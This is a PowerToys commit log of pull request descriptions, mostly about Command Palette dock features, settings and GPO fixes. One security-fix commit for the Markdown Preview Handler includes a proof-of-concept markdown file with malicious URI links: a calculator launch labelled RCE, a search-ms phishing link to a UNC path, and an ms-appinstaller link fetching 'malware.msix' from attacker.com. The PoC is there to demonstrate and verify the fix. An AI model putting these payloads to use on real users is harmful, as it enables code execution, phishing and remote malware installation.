* Respect `DateTimeFormat.MonthDayPattern` in release date
* Dots in the date are escaped so that they don't accidentally trigger a
markdown list
## PR Checklist

- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need

## Detailed Description of the Pull Request / Additional comments
Nothing changes in the English version, only difference is in languages
that don't use `MMMM d`.
## Validation Steps Performed
Manually tested with Slovak, Czech, German, English.
2026-03-01 12:45:51 +00:00
Mike Griese
7dfe6c0159 Dock: Fix tab focus order for items (#45837)
Now, once the dock has focus, tab will work the way you'd expect.

* re #45584
* re #45595 - if we do add that KB shortcut, well, reasonable tab focus
would be expected.
2026-03-01 13:15:41 +01:00
Mike Griese
543399b62b dock: shift around the padding for fitts law (#45834)
This makes the buttons hitbox extend all the way to the edges of the
dock, but the visual presentation of these buttons is unchanged.

This lets us adhere to fitts law appropriately.

Closes #45596
Closes #45590
2026-03-01 13:03:40 +01:00
Christian Gaarden Gaardmark
90e81cbfd5 [New+] Hide existing new - remake (#44979)
## Summary of the Pull Request
- Add the ability for users and admins (GPO) to control whether to
display built in New on the context menu.
 - Changes to the setting are immediately reflected in the experience.
 - Built-in New is restored on uninstall.

## PR Checklist
Note: Supersedes https://github.com/microsoft/PowerToys/pull/39843 

- [x] **Closes**: [New+] Replace default New entry #37545 and Replace
"New" with New+ option #37946
- [x] **Communication:** Discussed with @niels9001 - 1/22/2025
- [x] **Tests:** Completed manual test pass see highlight below
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** Updated "doc\devdocs\modules\newplus.md"
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
   - [x] [WXS for installer] Updated installer (uninstall custom action)
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [No] **Documentation updated:** Pending, coming soon. (original PR 
https://github.com/MicrosoftDocs/windows-dev-docs/pull/5473)

## Detailed Description of the Pull Request / Additional comments
Added the ability for users' admins' to display Windows built-in New or
not
	
I'm NOT aware of an official supported way to do this, so I'm achieving
this by adding an invalid context menu handler in place of New in the
Computer\HKEY_CURRENT_USER\Software\Classes\Directory\background\ShellEx\ContextMenuHandlers\New
	
Changes are immediate, after applying the change, built-in New is
shown/hidden accordingly
	
	Updates to New+ Settings UI
New setting introduced to track user' preference (saved to
newplus/settings.json)
GPO setting introduced for control New visibility via GPO (GPO wins over
user preference)
	
	Updates to New+ power_module.cpp
When runner is running new plus will also apply built-in New admin GPO
and user preference (GPO wins over user preference) to ensure correct
behavior on setting restore and GPO application.
		
	Updates to installer 
		Uninstall always reenable built-in "New" context menu 
	
	Updated DevDoc
		Added a note on how to manually restore built-in New

## Validation Steps Performed
Windows 11 x64
	Settings UI
	New+ enabled
	New+ disabled
	GPO setting enabled
	GPO settings disabled
	Manually updating newplus/settings.json

Windows 11 ARM64
	I tested the reg hack manually, but didn't go through a full pass. 

Windows 10 x64
	NOT tested. 

Windows 11, Settings, New+ Disabled and no GPO
<img width="1040" height="1002" alt="image"
src="https://github.com/user-attachments/assets/1b827b10-f009-4b0b-954f-d9311d40d201"
/>

Windows 11, Settings, New+ Enabled and no GPO
<img width="1015" height="781" alt="image"
src="https://github.com/user-attachments/assets/a5fa09d3-7fd3-4830-99a4-5f2ac9ce1a38"
/>

Hide built-in New: Off (the default)
<img width="321" height="417" alt="image"
src="https://github.com/user-attachments/assets/355fea60-bbb8-4f11-b648-291aaf0c4a6d"
/>

Hide built-in New: On
<img width="1015" height="87" alt="image"
src="https://github.com/user-attachments/assets/e83e45c4-6b67-443b-b045-26e7dda2cf46"
/>

Modern
<img width="308" height="360" alt="image"
src="https://github.com/user-attachments/assets/b164b240-6e67-410c-8481-7db3ee3225b7"
/>

Classic
<img width="308" height="289" alt="image"
src="https://github.com/user-attachments/assets/e2b6c262-a311-454c-9c76-40cb11ff2970"
/>

Disabling New+ also unhide New
<img width="1031" height="569" alt="image"
src="https://github.com/user-attachments/assets/29b8dae7-8190-4e64-b106-c6861e472a3d"
/>

<img width="308" height="353" alt="image"
src="https://github.com/user-attachments/assets/e1977d6b-dc85-4db4-b9ab-c7bb2b27dde2"
/>



Windows 11, Settings, New+ Enabled and with GPO

Hide built-in New: GPO enabled
<img width="1020" height="691" alt="image"
src="https://github.com/user-attachments/assets/75053ab8-92c6-4d38-b1b8-9b0d8293c207"
/>

Hide built-in New: GPO disabled
<img width="1050" height="161" alt="image"
src="https://github.com/user-attachments/assets/1a50b841-ff01-4662-a923-aee63717c834"
/>
2026-03-01 12:32:38 +01:00
Ruthie Sun
3e1b07f52c Color picker - Lab format: use roundoff optional #13603 (#42986)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.

I can update the docs as well, if we're happy with the approach.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-27 23:12:58 +01:00
Jiří Polášek
96e6542cf1 Dock: Replace IsShownInSwitchers with HiddenOwnerWindowBehavior in DockWindow (#45839)
## Summary of the Pull Request

This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
2026-02-27 21:11:27 +00:00
Jiří Polášek
12fac01ee1 CmdPal: Add settings to hide non-apps from results (#45741)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new options to the All Apps built-in extension:

- Also include non-app shortcuts from the Start menu
  - Enabled by default
- Also include non-app shortcuts from the desktop
  - Disabled by default

The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.

<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
2026-02-27 14:35:49 -06:00
Jiří Polášek
f2788f2e09 CmdPal: Supress CsWinRT1028 on source generated interop types (#45827)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 12:58:54 -06:00
Mike Griese
5dea1980ad CmdPal: some dock data (#45832)
we want to know what the people want

re: #45584
2026-02-27 12:22:14 -06:00
Mike Griese
e74692815f Dock: deal with multiple appbars on the same side (#45831)
notes inline with code. Need to adjust the opposite side of the appbar
for our size.

These APIs are documented so well, it's no wonder more folks don't use
them 🙃

related to #45824
tracked in #45584

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 12:22:02 -06:00
Jiří Polášek
8c1e4f16fe CmdPal: Add null check before caching view model for item (#45815) 2026-02-27 11:20:19 -06:00
Jiří Polášek
e653b4ad37 CmdPal: Remove OneWay binding mode from bands ItemsRepeater (#45833)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`

- [x] Related to: #42574 
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 11:13:48 -06:00
Mike Griese
70bf430d9f CmdPal: Add a dock (#45824)
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.

The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)

This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.

This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.

closes #45201

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 13:24:23 +00:00
Kai Tao
494c14fb88 Always on top: window context menu to always on top (#45773)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Add an option to enable inject a window context menu to always on top
this window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45638 #15387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

https://github.com/user-attachments/assets/37eb3f74-1ccc-42f2-83c3-1100f55765ee

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 16:45:35 +08:00
Alex Mihaiuc
6c806aa08c Make the ZoomIt AAC audio track depend on system audio or audio input (#45700)
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.

## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 19:27:19 +01:00
Mike Griese
7a0e4ac891 CmdPal: Add context commands for pinning nested commands (#45673)
_targets #45572_

This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.

<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201


This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.

--- 

description from #45676 which was merged into this

Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.

This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.

With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
2026-02-26 16:09:17 +00:00
Kai Tao
cdeae7c854 Mouse Utilities: Remove newinfo badge for cursor wrap (#45803)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
as title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1665" height="443" alt="image"
src="https://github.com/user-attachments/assets/9a5488c4-dea0-47a4-bf5c-f60820176d50"
/>
2026-02-26 13:48:16 +00:00
Jiří Polášek
9ae355b963 CmdPal: Fix All Apps search result limit default (#45804)
## Summary of the Pull Request

This PR adds a new default option to the All Apps extension settings.

- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.

<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 06:52:55 -06:00
moooyo
9b7ae9a96a Temporarily disable PowerDisplay module across PowerToys (#45802)
Icon and New name still pending for final decision.

We cannot ship in this release, still need enough time to consider new
name and icon.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
2026-02-26 12:40:18 +00:00
Jiří Polášek
169bfe3f04 CmdPal: Lightning-fast mode (#45764)
## Summary of the Pull Request

This PR unlocks lightning-fast mode for Command Palette:

- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.

- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
    - Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
  - Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right

## Pictures? Moving!



https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44407
- [x] Closes: #45691
2026-02-26 06:17:34 -06:00
leileizhang
1b4641a158 Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
2026-02-26 17:46:48 +08:00
Jaylyn Barbee
a94d010a8d [Light Switch] Fixed issue where Light switch could be toggled from the dashboard while GPO settings are active (#45756)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.

This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.

This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567

## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>

We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
2026-02-25 16:44:15 +01:00
Kai Tao
c013122520 Settings: Fix settings process shutdown when closing secondary windows (#45787)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45549 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
